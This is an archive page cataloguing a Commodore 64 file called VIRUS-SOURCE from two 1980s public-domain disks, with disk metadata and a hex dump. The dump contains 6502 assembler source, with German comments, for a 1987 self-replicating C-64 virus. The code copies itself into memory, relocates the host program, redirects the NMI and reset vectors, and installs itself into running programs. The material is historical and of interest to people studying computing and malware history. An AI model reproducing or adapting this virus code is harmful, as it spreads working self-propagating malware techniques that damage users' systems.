VIRUS-SOURCE
FILE INFORMATION
FILENAME(S): VIRUS-SOURCE
FILE TYPE(S): PRG
FILE SIZE: 18.8K
FIRST SEEN: 2025-11-30 01:08:02
APPEARS ON: 2 disk(s)
FILE HASH
16ec7bb5710a750929a1eafe43f2fd1dc3be6aef31934d452a082526af5ecaee
FOUND ON DISKS (2 DISKS)
| DISK TITLE | FILENAME | FILE TYPE | COLLECTION | TRACK | SECTOR | ACTIONS |
|---|---|---|---|---|---|---|
| FREESOFT NR | VIRUS-SOURCE | PRG | Treasure Chest - Wolfgang Rauprich | 14 | 10 | DOWNLOAD FILE |
| PD DISK 24 | VIRUS-SOURCE | PRG | Treasure Chest - Wolfgang Rauprich | 14 | 10 | DOWNLOAD FILE |
FILE CONTENT & ANALYSIS
> DETECTED: COMMODORE BASIC PROGRAM (LOAD ADDRESS $0801)
00000000: 01 08 4E 08 00 00 8F 20 43 4F 50 59 52 49 47 48 |..N.... COPYRIGH|
00000010: 54 20 31 39 38 37 20 42 59 20 42 48 50 2B 50 41 |T 1987 BY BHP+PA|
00000020: 50 41 20 48 41 43 4B 45 52 20 20 20 20 20 20 20 |PA HACKER |
00000030: 20 56 49 52 55 53 20 43 2D 36 34 20 20 20 4D 55 | VIRUS C-64 MU|
00000040: 4E 49 43 48 20 31 38 2E 32 2E 31 39 38 37 00 61 |NICH 18.2.1987.a|
00000050: 08 01 00 9F 31 2C 38 2C 31 2C 22 56 49 52 55 53 |....1,8,1,"VIRUS|
00000060: 22 00 6D 08 02 00 9E 39 AC 34 30 39 36 00 79 08 |".m....9.4096.y.|
00000070: 03 00 2E 4F 50 54 20 4F 31 00 8E 08 04 00 53 54 |...OPT O1.....ST|
00000080: 41 52 54 20 20 20 20 B2 20 24 44 30 30 30 00 A3 |ART . $D000..|
00000090: 08 05 00 AC B2 20 20 20 20 20 20 20 20 20 53 54 |..... ST|
000000A0: 41 52 54 00 B5 08 0A 00 50 41 52 20 20 20 20 20 |ART.....PAR |
000000B0: B2 20 24 42 37 00 C7 08 0B 00 4D 45 4D 20 20 20 |. $B7.....MEM |
000000C0: 20 20 B2 20 24 35 38 00 DB 08 0C 00 53 45 54 50 | . $58.....SETP|
000000D0: 41 52 20 20 B2 20 24 46 46 42 41 00 EF 08 0D 00 |AR . $FFBA.....|
000000E0: 53 45 54 4E 41 4D 45 20 B2 20 24 46 46 42 44 00 |SETNAME . $FFBD.|
000000F0: 00 09 0E 00 49 45 43 9F 20 B2 20 24 46 33 44 35 |....IEC. . $F3D5|
00000100: 00 12 09 0F 00 53 45 4B 20 20 20 20 20 B2 20 24 |.....SEK . $|
00000110: 42 39 00 24 09 10 00 44 45 56 20 20 20 20 20 B2 |B9.$...DEV .|
00000120: 20 24 42 41 00 35 09 11 00 53 45 4B 9B 20 B2 20 | $BA.5...SEK. . |
00000130: 24 46 46 39 33 00 49 09 12 00 53 45 4B 54 41 4C |$FF93.I...SEKTAL|
00000140: 4B 20 B2 20 24 46 46 39 36 00 5A 09 13 00 9B 20 |K . $FF96.Z.... |
00000150: 20 20 20 B2 20 24 46 46 42 31 00 6E 09 14 00 54 | . $FFB1.n...T|
00000160: 41 4C 4B 20 20 20 20 B2 20 24 46 46 42 34 00 7F |ALK . $FFB4..|
00000170: 09 15 00 55 4E 9B 20 20 B2 20 24 46 46 41 45 00 |...UN. . $FFAE.|
00000180: 93 09 16 00 55 4E 54 41 4C 4B 20 20 B2 20 24 46 |....UNTALK . $F|
00000190: 46 41 42 00 A5 09 17 00 49 45 43 A1 20 20 B2 20 |FAB.....IEC. . |
000001A0: 24 46 46 41 35 00 B9 09 18 00 49 45 43 4F 55 54 |$FFA5.....IECOUT|
000001B0: 20 20 B2 20 24 46 46 41 38 00 CB 09 19 00 53 54 | . $FFA8.....ST|
000001C0: 41 54 55 53 20 20 B2 20 24 39 30 00 DD 09 1A 00 |ATUS . $90.....|
000001D0: 43 4F 55 4E 54 20 20 20 B2 20 4D 45 4D 00 ED 09 |COUNT . MEM...|
000001E0: 1B 00 A0 20 20 20 B2 20 24 46 36 34 32 00 05 0A |... . $F642...|
000001F0: 1C 00 42 41 4D 20 20 20 20 20 B2 20 43 4F 55 4E |..BAM . COUN|
00000200: 54 20 AA 20 31 00 1D 0A 1D 00 54 52 41 43 4B 20 |T . 1.....TRACK |
00000210: 20 20 B2 20 42 41 4D 20 20 20 AA 20 33 00 35 0A | . BAM . 3.5.|
00000220: 1E 00 56 54 52 41 43 4B 20 20 B2 20 54 52 41 43 |..VTRACK . TRAC|
00000230: 4B 20 AA 20 31 00 4B 0A 1F 00 B8 45 20 20 20 20 |K . 1.K....E |
00000240: B2 20 56 54 52 41 43 4B AA 20 31 00 61 0A 20 00 |. VTRACK. 1.a. .|
00000250: 50 55 46 46 45 52 20 20 B2 20 B8 45 20 20 AA 20 |PUFFER . .E . |
00000260: 31 00 79 0A 21 00 4A 4F 42 20 20 20 20 20 B2 20 |1.y.!.JOB . |
00000270: 50 55 46 46 45 52 AA 20 31 00 91 0A 22 00 44 4F |PUFFER. 1...".DO|
00000280: 20 20 20 20 20 20 B2 20 4A 4F 42 20 20 20 AA 20 | . JOB . |
00000290: 31 00 A3 0A 23 00 58 20 20 20 20 20 20 20 B2 20 |1...#.X . |
000002A0: 42 41 4D 00 BB 0A 24 00 59 20 20 20 20 20 20 20 |BAM...$.Y |
000002B0: B2 20 42 41 4D 20 20 20 AA 20 31 00 D3 0A 25 00 |. BAM . 1...%.|
000002C0: 5A 20 20 20 20 20 20 20 B2 20 42 41 4D 20 20 20 |Z . BAM |
000002D0: AA 20 32 00 E4 0A 26 00 42 41 53 49 43 53 20 20 |. 2...&.BASICS |
000002E0: B2 20 34 33 00 FC 0A 27 00 41 44 52 20 20 20 20 |. 43...'.ADR |
000002F0: 20 B2 20 44 4F 20 20 20 20 AA 20 31 00 13 0B 28 | . DO . 1...(|
00000300: 00 53 45 43 A4 52 20 20 B2 20 41 44 52 20 20 20 |.SEC.R . ADR |
00000310: AA 20 31 00 2A 0B 29 00 56 53 45 43 20 20 20 20 |. 1.*.).VSEC |
00000320: B2 20 53 45 43 A4 52 AA 20 31 00 3A 0B 2A 00 42 |. SEC.R. 1.:.*.B|
00000330: 4C 4F 43 4B 53 20 20 B2 20 38 00 4B 0B 2B 00 57 |LOCKS . 8.K.+.W|
00000340: B0 4B 20 20 20 20 B2 20 24 38 42 00 5D 0B 2C 00 |.K . $8B.].,.|
00000350: 4D 45 4D 31 20 20 20 20 B2 20 57 B0 4B 00 74 0B |MEM1 . W.K.t.|
00000360: 2D 00 4D 45 4D 32 20 20 20 20 B2 20 57 B0 4B 20 |-.MEM2 . W.K |
00000370: 20 AA 20 31 00 8B 0B 2E 00 4D 45 4D 33 20 20 20 | . 1.....MEM3 |
00000380: 20 B2 20 57 B0 4B 20 20 AA 20 32 00 A2 0B 2F 00 | . W.K . 2.../.|
00000390: 4D 45 4D 34 20 20 20 20 B2 20 57 B0 4B 20 20 AA |MEM4 . W.K .|
000003A0: 20 33 00 B6 0B 30 00 42 52 45 41 4B 50 20 20 B2 | 3...0.BREAKP .|
000003B0: 20 24 30 33 31 36 00 C7 0B 31 00 42 41 53 49 43 | $0316...1.BASIC|
000003C0: 45 20 20 B2 20 34 35 00 D6 0B 32 00 93 45 20 20 |E . 45...2..E |
000003D0: 20 B2 20 24 41 45 00 E5 0B 33 00 4C 49 4E 4B C3 | . $AE...3.LINK.|
000003E0: 20 B2 20 38 38 00 F6 0B 34 00 93 50 20 20 20 B2 | . 88...4..P .|
000003F0: 20 24 30 33 33 30 00 07 0C 35 00 94 50 20 20 20 | $0330...5..P |
00000400: B2 20 24 30 33 33 32 00 1B 0C 36 00 4C 49 4E 4B |. $0332...6.LINK|
00000410: 20 20 20 20 B2 20 24 30 32 41 37 00 2F 0C 37 00 | . $02A7./.7.|
00000420: 4E 4D 49 54 41 48 20 20 B2 20 24 44 44 30 35 00 |NMITAH . $DD05.|
00000430: 43 0C 38 00 4E 4D 49 54 42 48 20 20 B2 20 24 44 |C.8.NMITBH . $D|
00000440: 44 30 37 00 57 0C 39 00 4E 4D 49 50 20 20 20 20 |D07.W.9.NMIP |
00000450: B2 20 24 30 33 31 38 00 6B 0C 3A 00 52 4F 4D 54 |. $0318.k.:.ROMT|
00000460: 45 53 54 20 B2 20 24 46 44 30 32 00 7F 0C 3B 00 |EST . $FD02...;.|
00000470: 57 41 52 4D 50 20 20 20 B2 20 24 30 33 30 32 00 |WARMP . $0302.|
00000480: 93 0C 3C 00 49 52 51 50 20 20 20 20 B2 20 24 30 |..<.IRQP . $0|
00000490: 33 31 34 00 A7 0C 3D 00 49 52 51 45 20 20 20 20 |314...=.IRQE |
000004A0: B2 20 24 45 41 33 31 00 BB 0C 3E 00 4E 4D 49 45 |. $EA31...>.NMIE|
000004B0: 20 20 20 20 B2 20 24 45 41 38 36 00 CC 0C 3F 00 | . $EA86...?.|
000004C0: 90 20 20 20 20 B2 20 24 46 46 45 31 00 E0 0C 40 |. . $FFE1...@|
000004D0: 00 43 48 41 52 4F 55 54 20 B2 20 24 46 46 44 32 |.CHAROUT . $FFD2|
000004E0: 00 FE 0C E8 03 2E 42 59 54 45 20 30 33 31 2C 30 |......BYTE 031,0|
000004F0: 30 38 2C 31 39 34 2C 30 30 37 2C 31 35 38 00 22 |08,194,007,158."|
00000500: 0D F2 03 56 49 52 55 53 20 2E 42 59 54 45 20 31 |...VIRUS .BYTE 1|
00000510: 39 34 2C 30 34 30 2C 30 35 32 2C 30 35 31 2C 30 |94,040,052,051,0|
00000520: 34 31 00 40 0D FC 03 2E 42 59 54 45 20 31 37 30 |41.@....BYTE 170|
00000530: 2C 31 39 34 2C 30 34 30 2C 30 35 32 2C 30 35 32 |,194,040,052,052|
00000540: 00 5E 0D 06 04 2E 42 59 54 45 20 30 34 31 2C 31 |.^....BYTE 041,1|
00000550: 37 32 2C 30 35 30 2C 30 35 33 2C 30 35 34 00 7C |72,050,053,054.||
00000560: 0D 10 04 2E 42 59 54 45 20 31 37 30 2C 30 35 32 |....BYTE 170,052|
00000570: 2C 30 35 36 2C 30 35 38 2C 30 38 36 00 9A 0D 1A |,056,058,086....|
00000580: 04 2E 42 59 54 45 20 30 37 33 2C 30 38 32 2C 30 |..BYTE 073,082,0|
00000590: 38 35 2C 30 38 33 2C 30 30 30 00 AC 0D 24 04 2E |85,083,000...$..|
000005A0: 42 59 54 45 20 30 30 30 2C 30 30 30 00 C0 0D 29 |BYTE 000,000...)|
000005B0: 04 2E 57 B0 44 20 42 4C 4F 43 4B 53 AC 32 35 34 |..W.D BLOCKS.254|
000005C0: 00 EA 0D 2A 04 2E 42 59 54 45 20 24 41 37 2C 24 |...*..BYTE $A7,$|
000005D0: 41 44 2C 24 41 36 2C 24 35 44 2C 24 41 35 2C 24 |AD,$A6,$5D,$A5,$|
000005E0: 33 32 2C 24 41 36 2C 24 38 44 00 F6 0D 2B 04 AC |32,$A6,$8D...+..|
000005F0: B2 AC 20 AA 20 36 00 15 0E 2E 04 3B 31 39 38 36 |.. . 6.....;1986|
00000600: 20 9E C2 28 34 33 29 AA C2 28 34 34 29 AC 32 35 | ..(43)..(44).25|
00000610: 36 AA 34 38 3A 00 20 0E 38 04 3B 56 49 52 55 53 |6.48:. .8.;VIRUS|
00000620: 00 44 0E CF 07 3B AB AB AB 49 4E 49 54 49 41 4C |.D...;...INITIAL|
00000630: 49 53 49 45 52 45 AB 56 49 52 55 53 AB AB AB B1 |ISIERE.VIRUS....|
00000640: 49 4E 49 54 00 50 0E D0 07 4C 44 59 20 23 33 34 |INIT.P...LDY #34|
00000650: 00 69 0E DA 07 49 4E 49 54 33 20 4C 44 41 20 28 |.i...INIT3 LDA (|
00000660: 42 41 53 49 43 53 29 2C 59 00 71 0E E4 07 50 48 |BASICS),Y.q...PH|
00000670: 41 00 79 0E EE 07 49 4E 59 00 85 0E F8 07 43 50 |A.y...INY.....CP|
00000680: 59 20 23 34 32 00 93 0E 02 08 42 4E 45 20 49 4E |Y #42.....BNE IN|
00000690: 49 54 33 00 AD 0E 70 08 50 48 50 20 20 20 20 20 |IT3...p.PHP |
000006A0: 20 20 20 20 20 3B 53 54 41 54 55 53 2C 00 D1 0E | ;STATUS,...|
000006B0: 7A 08 53 45 49 20 20 20 20 20 20 20 20 20 20 3B |z.SEI ;|
000006C0: B5 45 52 52 55 50 54 20 53 50 45 52 52 45 4E 20 |.ERRUPT SPERREN |
000006D0: 21 00 E9 0E 84 08 50 48 41 20 20 20 20 20 20 20 |!.....PHA |
000006E0: 20 20 20 3B 41 4B 4B 55 2C 00 0E 0F 8E 08 4C 44 | ;AKKU,.....LD|
000006F0: 41 20 31 20 20 20 20 20 20 20 20 3B 55 4E 44 20 |A 1 ;UND |
00000700: 53 50 45 49 43 48 45 52 4B 91 46 49 47 2E 00 27 |SPEICHERK.FIG..'|
00000710: 0F 98 08 50 48 41 20 20 20 20 20 20 20 20 20 20 |...PHA |
00000720: 3B 52 45 54 54 45 4E 00 37 0F A2 08 4C 44 41 20 |;RETTEN.7...LDA |
00000730: 23 B1 80 49 54 AB 31 00 5C 0F AC 08 50 48 41 20 |#..IT.1.\...PHA |
00000740: 20 20 20 20 20 20 20 20 20 3B 52 55 45 43 4B 4B | ;RUECKK|
00000750: 45 48 52 50 55 4E 4B 54 20 56 4F 4D 00 76 0F B6 |EHRPUNKT VOM.v..|
00000760: 08 4C 44 41 20 23 B3 80 49 54 AB 31 3B 56 49 52 |.LDA #..IT.1;VIR|
00000770: 55 53 9E 54 45 4D 00 7E 0F C0 08 50 48 41 00 89 |US.TEM.~...PHA..|
00000780: 0F CA 08 4C 44 41 20 23 30 00 AE 0F D4 08 53 54 |...LDA #0.....ST|
00000790: 41 20 31 20 20 20 20 20 20 20 20 3B 41 55 46 20 |A 1 ;AUF |
000007A0: 52 41 4D 20 55 4D 53 43 48 41 4C 54 45 4E 00 BB |RAM UMSCHALTEN..|
000007B0: 0F DE 08 4C 44 59 20 23 24 30 33 00 CF 0F E8 08 |...LDY #$03.....|
000007C0: 49 4E 49 54 31 20 4C 44 41 20 57 B0 4B 2C 59 00 |INIT1 LDA W.K,Y.|
000007D0: D7 0F F2 08 50 48 41 00 DF 0F FC 08 44 45 59 00 |....PHA.....DEY.|
000007E0: ED 0F 06 09 42 50 4C 20 49 4E 49 54 31 00 11 10 |....BPL INIT1...|
000007F0: 10 09 4C 44 41 20 42 41 53 49 43 53 20 20 20 3B |..LDA BASICS ;|
00000800: 4B 4F 50 49 45 52 45 20 44 45 4E 20 56 49 52 55 |KOPIERE DEN VIRU|
00000810: 53 00 35 10 1A 09 53 54 41 20 4D 45 4D 31 20 20 |S.5...STA MEM1 |
00000820: 20 20 20 3B 55 4E 54 45 52 20 49 AD 4F 20 42 45 | ;UNTER I.O BE|
00000830: 52 45 49 43 48 00 46 10 24 09 4C 44 41 20 42 41 |REICH.F.$.LDA BA|
00000840: 53 49 43 53 AA 31 00 53 10 2E 09 53 54 41 20 4D |SICS.1.S...STA M|
00000850: 45 4D 32 00 63 10 38 09 4C 44 41 20 23 B3 53 54 |EM2.c.8.LDA #.ST|
00000860: 41 52 54 00 70 10 42 09 53 54 41 20 4D 45 4D 33 |ART.p.B.STA MEM3|
00000870: 00 80 10 4C 09 4C 44 41 20 23 B1 53 54 41 52 54 |...L.LDA #.START|
00000880: 00 8D 10 56 09 53 54 41 20 4D 45 4D 34 00 9D 10 |...V.STA MEM4...|
00000890: 60 09 4C 44 58 20 23 42 4C 4F 43 4B 53 00 A8 10 |`.LDX #BLOCKS...|
000008A0: 6A 09 4C 44 59 20 23 30 00 BF 10 74 09 49 4E 49 |j.LDY #0...t.INI|
000008B0: 54 32 20 4C 44 41 20 28 4D 45 4D 31 29 2C 59 00 |T2 LDA (MEM1),Y.|
000008C0: D0 10 7E 09 53 54 41 20 28 4D 45 4D 33 29 2C 59 |..~.STA (MEM3),Y|
000008D0: 00 D8 10 88 09 49 4E 59 00 E6 10 92 09 42 4E 45 |.....INY.....BNE|
000008E0: 20 49 4E 49 54 32 00 F3 10 9C 09 49 4E 43 20 4D | INIT2.....INC M|
000008F0: 45 4D 32 00 00 11 A6 09 49 4E 43 20 4D 45 4D 34 |EM2.....INC MEM4|
00000900: 00 08 11 B0 09 44 45 58 00 16 11 BA 09 42 4E 45 |.....DEX.....BNE|
00000910: 20 49 4E 49 54 32 00 20 11 C4 09 4A 4D 50 20 A2 | INIT2. ...JMP .|
00000920: 00 44 11 B8 0B 3B AB AB AB AB 56 45 52 53 43 48 |.D...;....VERSCH|
00000930: 49 45 42 45 20 50 52 4F 47 52 41 4D 4D AB AB B1 |IEBE PROGRAMM...|
00000940: 4D 4F 56 45 00 67 11 C2 0B 4D 4F 56 45 20 53 45 |MOVE.g...MOVE SE|
00000950: 43 20 20 20 20 20 3B 53 45 54 5A 45 20 50 52 4F |C ;SETZE PRO|
00000960: 47 52 41 4D 4D 80 45 00 7C 11 CC 0B 4C 44 41 20 |GRAMM.E.|...LDA |
00000970: 93 45 20 20 20 20 3B 50 4F B5 45 52 00 88 11 D1 |.E ;PO.ER....|
00000980: 0B 4C 44 59 20 23 33 32 00 9B 11 D6 0B 53 42 43 |.LDY #32.....SBC|
00000990: 20 28 42 41 53 49 43 53 29 2C 59 00 AA 11 E0 0B | (BASICS),Y.....|
000009A0: 53 54 41 20 42 41 53 49 43 45 00 B5 11 EA 0B 53 |STA BASICE.....S|
000009B0: 54 41 20 93 45 00 C3 11 F4 0B 4C 44 41 20 93 45 |TA .E.....LDA .E|
000009C0: 20 AA 31 00 CB 11 F9 0B 49 4E 59 00 DE 11 FE 0B | .1.....INY.....|
000009D0: 53 42 43 20 28 42 41 53 49 43 53 29 2C 59 00 EF |SBC (BASICS),Y..|
000009E0: 11 08 0C 53 54 41 20 42 41 53 49 43 45 AA 31 00 |...STA BASICE.1.|
000009F0: FD 11 12 0C 53 54 41 20 93 45 20 AA 31 00 08 12 |....STA .E .1...|
00000A00: 1C 0C 4C 44 41 20 23 30 00 2B 12 26 0C 53 54 41 |..LDA #0.+.&.STA|
00000A10: 20 4D 45 4D 31 20 20 20 20 20 3B 56 45 52 53 43 | MEM1 ;VERSC|
00000A20: 48 49 45 42 45 20 50 4F B5 45 52 00 47 12 30 0C |HIEBE PO.ER.G.0.|
00000A30: 4C 44 41 20 42 41 53 49 43 53 AA 31 20 3B 42 45 |LDA BASICS.1 ;BE|
00000A40: 52 45 43 48 4E 45 4E 00 54 12 3A 0C 53 54 41 20 |RECHNEN.T.:.STA |
00000A50: 4D 45 4D 32 00 5C 12 44 0C 43 4C 43 00 64 12 49 |MEM2.\.D.CLC.d.I|
00000A60: 0C 44 45 59 00 77 12 4E 0C 4C 44 41 20 28 42 41 |.DEY.w.N.LDA (BA|
00000A70: 53 49 43 53 29 2C 59 00 86 12 58 0C 41 44 43 20 |SICS),Y...X.ADC |
00000A80: 42 41 53 49 43 53 00 93 12 62 0C 53 54 41 20 4D |BASICS...b.STA M|
00000A90: 45 4D 33 00 9B 12 67 0C 49 4E 59 00 AE 12 6C 0C |EM3...g.INY...l.|
00000AA0: 4C 44 41 20 28 42 41 53 49 43 53 29 2C 59 00 BF |LDA (BASICS),Y..|
00000AB0: 12 76 0C 41 44 43 20 42 41 53 49 43 53 AA 31 00 |.v.ADC BASICS.1.|
00000AC0: CC 12 80 0C 53 54 41 20 4D 45 4D 34 00 D4 12 8A |....STA MEM4....|
00000AD0: 0C 53 45 43 00 E1 12 94 0C 4C 44 41 20 4D 45 4D |.SEC.....LDA MEM|
00000AE0: 33 00 F0 12 9E 0C 53 42 43 20 42 41 53 49 43 53 |3.....SBC BASICS|
00000AF0: 00 FD 12 A8 0C 53 54 41 20 4D 45 4D 33 00 0A 13 |.....STA MEM3...|
00000B00: B2 0C 4C 44 41 20 4D 45 4D 34 00 15 13 BC 0C 53 |..LDA MEM4.....S|
00000B10: 42 43 20 23 30 00 22 13 C6 0C 53 54 41 20 4D 45 |BC #0."...STA ME|
00000B20: 4D 34 00 31 13 D0 0C 4C 44 59 20 42 41 53 49 43 |M4.1...LDY BASIC|
00000B30: 53 00 46 13 DA 0C 4D 4F 56 45 31 20 43 50 59 20 |S.F...MOVE1 CPY |
00000B40: 42 41 53 49 43 45 00 54 13 E4 0C 42 4E 45 20 4D |BASICE.T...BNE M|
00000B50: 4F 56 45 32 00 61 13 EE 0C 4C 44 41 20 4D 45 4D |OVE2.a...LDA MEM|
00000B60: 32 00 72 13 F8 0C 43 4D 50 20 42 41 53 49 43 45 |2.r...CMP BASICE|
00000B70: AA 31 00 80 13 02 0D 42 45 51 20 4D 4F 56 45 33 |.1.....BEQ MOVE3|
00000B80: 00 97 13 0C 0D 4D 4F 56 45 32 20 4C 44 41 20 28 |.....MOVE2 LDA (|
00000B90: 4D 45 4D 33 29 2C 59 00 A8 13 16 0D 53 54 41 20 |MEM3),Y.....STA |
00000BA0: 28 4D 45 4D 31 29 2C 59 00 B0 13 20 0D 49 4E 59 |(MEM1),Y... .INY|
00000BB0: 00 D6 13 2A 0D 42 4E 45 20 4D 4F 56 45 31 20 20 |...*.BNE MOVE1 |
00000BC0: 20 20 3B 50 52 4F 47 52 41 4D 4D 20 41 4E 20 B0 | ;PROGRAMM AN .|
00000BD0: 47 49 4E 41 4C AB 00 FC 13 34 0D 49 4E 43 20 4D |GINAL....4.INC M|
00000BE0: 45 4D 32 20 20 20 20 20 3B 41 44 52 45 53 53 45 |EM2 ;ADRESSE|
00000BF0: 20 56 45 52 53 43 48 49 45 42 45 4E 00 09 14 3E | VERSCHIEBEN...>|
00000C00: 0D 49 4E 43 20 4D 45 4D 34 00 17 14 48 0D 42 4E |.INC MEM4...H.BN|
00000C10: 45 20 4D 4F 56 45 31 00 2A 14 52 0D 4D 4F 56 45 |E MOVE1.*.R.MOVE|
00000C20: 33 20 4C 44 41 20 93 45 AA 31 00 4E 14 5C 0D 43 |3 LDA .E.1.N.\.C|
00000C30: 4D 50 20 23 24 38 30 20 20 20 20 20 3B 55 45 42 |MP #$80 ;UEB|
00000C40: 45 52 50 52 55 45 46 45 20 4C 41 44 45 AB 00 69 |ERPRUEFE LADE..i|
00000C50: 14 66 0D 42 43 53 20 4D 4F 56 45 34 20 20 20 20 |.f.BCS MOVE4 |
00000C60: 3B 80 41 44 52 45 53 53 45 00 74 14 70 0D 4C 44 |;.ADRESSE.t.p.LD|
00000C70: 58 20 23 39 00 89 14 7A 0D 52 4F 4D 20 4C 44 41 |X #9...z.ROM LDA|
00000C80: 20 52 45 53 45 54 56 2C 58 00 99 14 84 0D 53 54 | RESETV,X.....ST|
00000C90: 41 20 24 38 30 30 30 2C 58 00 A1 14 8E 0D 44 45 |A $8000,X.....DE|
00000CA0: 58 00 AD 14 98 0D 42 50 4C 20 52 4F 4D 00 BB 14 |X.....BPL ROM...|
00000CB0: A2 0D 4D 4F 56 45 34 20 52 54 53 00 DC 14 A0 0F |..MOVE4 RTS.....|
00000CC0: 3B AB AB AB AB 4E 45 55 53 54 41 52 54 20 56 49 |;....NEUSTART VI|
00000CD0: 52 55 53 AB AB AB AB AB AB AB B1 A2 00 EC 14 AA |RUS.............|
00000CE0: 0F A2 20 4C 44 41 20 24 46 46 46 41 00 0E 15 B4 |.. LDA $FFFA....|
00000CF0: 0F 50 48 41 20 20 20 20 20 20 20 20 20 3B 4E 4D |.PHA ;NM|
00000D00: 49 AB 56 45 4B A4 52 20 52 45 54 54 45 4E 00 20 |I.VEK.R RETTEN. |
00000D10: 15 BE 0F 4C 44 41 20 24 46 46 46 42 20 20 20 3B |...LDA $FFFB ;|
00000D20: 00 32 15 C8 0F 50 48 41 20 20 20 20 20 20 20 20 |.2...PHA |
00000D30: 20 3B 00 51 15 D2 0F 4C 44 41 20 23 B3 8E 3B 55 | ;.Q...LDA #..;U|
00000D40: 4E 44 20 41 55 46 20 52 54 49 20 53 45 54 5A 45 |ND AUF RTI SETZE|
00000D50: 4E 00 63 15 DC 0F 53 54 41 20 24 46 46 46 41 20 |N.c...STA $FFFA |
00000D60: 20 20 3B 00 6F 15 E6 0F 4C 44 41 20 23 B1 8E 00 | ;.o...LDA #...|
00000D70: 7D 15 F0 0F 53 54 41 20 24 46 46 46 42 00 A3 15 |}...STA $FFFB...|
00000D80: FA 0F 4A 53 52 20 4D 4F 56 45 20 20 20 20 3B 50 |..JSR MOVE ;P|
00000D90: 52 4F 47 52 41 4D 4D 20 56 45 52 53 43 48 49 45 |ROGRAMM VERSCHIE|
00000DA0: 42 45 4E 00 AE 15 FB 0F 4C 44 41 20 23 30 00 B6 |BEN.....LDA #0..|
00000DB0: 15 FC 0F 54 41 59 00 BE 15 FD 0F 43 4C 43 00 D1 |...TAY.....CLC..|
00000DC0: 15 FE 0F 4E 31 20 41 44 43 20 56 49 52 55 53 2C |...N1 ADC VIRUS,|
00000DD0: 59 00 D9 15 FF 0F 52 4F 4C 00 E4 15 00 10 41 44 |Y.....ROL.....AD|
00000DE0: 43 20 23 30 00 EC 15 01 10 49 4E 59 00 F8 15 02 |C #0.....INY....|
00000DF0: 10 43 50 59 20 23 32 37 00 03 16 03 10 42 4E 45 |.CPY #27.....BNE|
00000E00: 20 4E 31 00 10 16 04 10 43 4D 50 20 23 31 38 36 | N1.....CMP #186|
00000E10: 00 1B 16 05 10 42 45 51 20 4E 32 00 26 16 07 10 |.....BEQ N2.&...|
00000E20: 4E 33 20 49 4E 59 00 39 16 08 10 53 54 41 20 28 |N3 INY.9...STA (|
00000E30: 42 41 53 49 43 53 29 2C 59 00 44 16 09 10 42 4E |BASICS),Y.D...BN|
00000E40: 45 20 4E 33 00 6B 16 0D 10 4E 32 20 4A 53 52 20 |E N3.k...N2 JSR |
00000E50: 49 4E 53 54 41 4C 4C 20 3B 56 49 52 55 53 20 49 |INSTALL ;VIRUS I|
00000E60: 4E 53 54 41 4C 4C 49 45 52 45 4E 00 8A 16 0E 10 |NSTALLIEREN.....|
00000E70: 4A 4D 50 20 9E 9A 20 3B 52 55 45 43 4B 4B 45 48 |JMP .. ;RUECKKEH|
00000E80: 52 20 49 4E 53 20 9E 54 45 4D 00 AB 16 68 10 3B |R INS .TEM...h.;|
00000E90: AB AB AB AB AB 49 4E 53 54 41 4C 4C AB AB AB AB |.....INSTALL....|
00000EA0: AB AB AB AB AB AB AB AB AB B1 49 00 C0 16 72 10 |..........I...r.|
00000EB0: 49 4E 53 54 41 4C 4C 20 4C 44 41 20 4E 41 4D 45 |INSTALL LDA NAME|
00000EC0: 00 CD 16 7C 10 43 4D 50 20 23 22 2A 22 00 D8 16 |...|.CMP #"*"...|
00000ED0: 86 10 42 45 51 20 49 30 00 E3 16 87 10 42 4E 45 |..BEQ I0.....BNE|
00000EE0: 20 49 31 00 F8 16 8C 10 52 45 49 4E 53 54 20 4A | I1.....REINST J|
00000EF0: 53 52 20 50 4F B5 45 52 00 18 17 90 10 49 30 20 |SR PO.ER.....I0 |
00000F00: 4A 53 52 20 8C 3B 5A 45 49 47 45 52 20 52 55 45 |JSR .;ZEIGER RUE|
00000F10: 43 4B 53 45 54 5A 45 4E 00 3E 17 9A 10 49 31 20 |CKSETZEN.>...I1 |
00000F20: 4A 53 52 20 52 45 4C 49 4E 4B 20 3B 4C 49 4E 4B |JSR RELINK ;LINK|
00000F30: AB 54 45 49 4C 20 4B 4F 50 49 45 52 45 4E 00 5C |.TEIL KOPIEREN.\|
00000F40: 17 A4 10 4A 53 52 20 50 4F B5 45 52 20 20 20 3B |...JSR PO.ER ;|
00000F50: 50 4F B5 45 52 20 53 45 54 5A 45 4E 00 83 17 AE |PO.ER SETZEN....|
00000F60: 10 4A 53 52 20 4D 41 4B 45 20 20 20 20 20 20 3B |.JSR MAKE ;|
00000F70: AB B1 45 58 54 45 52 4E 20 41 55 53 46 55 45 48 |..EXTERN AUSFUEH|
00000F80: 52 45 4E 00 A7 17 B8 10 4A 53 52 20 52 4F 4D 54 |REN.....JSR ROMT|
00000F90: 45 53 54 20 20 20 3B 54 45 53 54 20 41 55 46 20 |EST ;TEST AUF |
00000FA0: 43 42 4D 38 30 20 AE 00 B2 17 C2 10 42 4E 45 20 |CBM80 ......BNE |
00000FB0: 49 32 00 BD 17 CC 10 4C 44 58 20 23 33 00 DF 17 |I2.....LDX #3...|
00000FC0: D6 10 4A 53 52 20 52 4F 4D 20 20 20 20 20 20 20 |..JSR ROM |
00000FD0: 3B 56 45 4B A4 52 45 4E 20 53 45 54 5A 45 4E 00 |;VEK.REN SETZEN.|
00000FE0: EA 17 E0 10 49 32 20 52 54 53 00 0B 18 30 11 3B |....I2 RTS...0.;|
00000FF0: AB AB AB AB AB 4C 49 4E 4B AB 54 45 49 4C AB 4B |.....LINK.TEIL.K|
00001000: 4F 50 49 45 52 45 4E AB AB B1 52 00 21 18 3A 11 |OPIEREN...R.!.:.|
00001010: 52 45 4C 49 4E 4B 20 4C 44 58 20 23 4C 49 4E 4B |RELINK LDX #LINK|
00001020: C3 00 35 18 44 11 52 31 20 4C 44 41 20 45 58 54 |..5.D.R1 LDA EXT|
00001030: 45 52 4E 2C 58 00 5A 18 4E 11 53 54 41 20 4C 49 |ERN,X.Z.N.STA LI|
00001040: 4E 4B 2C 58 20 20 3B 4C 49 4E 4B AB 54 45 49 4C |NK,X ;LINK.TEIL|
00001050: 20 4E 41 43 48 20 4C 49 4E 4B 00 74 18 58 11 44 | NACH LINK.t.X.D|
00001060: 45 58 20 20 20 20 20 20 20 20 20 3B 4B 4F 50 49 |EX ;KOPI|
00001070: 45 52 45 4E 00 7F 18 62 11 42 50 4C 20 52 31 00 |EREN...b.BPL R1.|
00001080: 87 18 6C 11 52 54 53 00 A8 18 94 11 3B AB AB AB |..l.RTS.....;...|
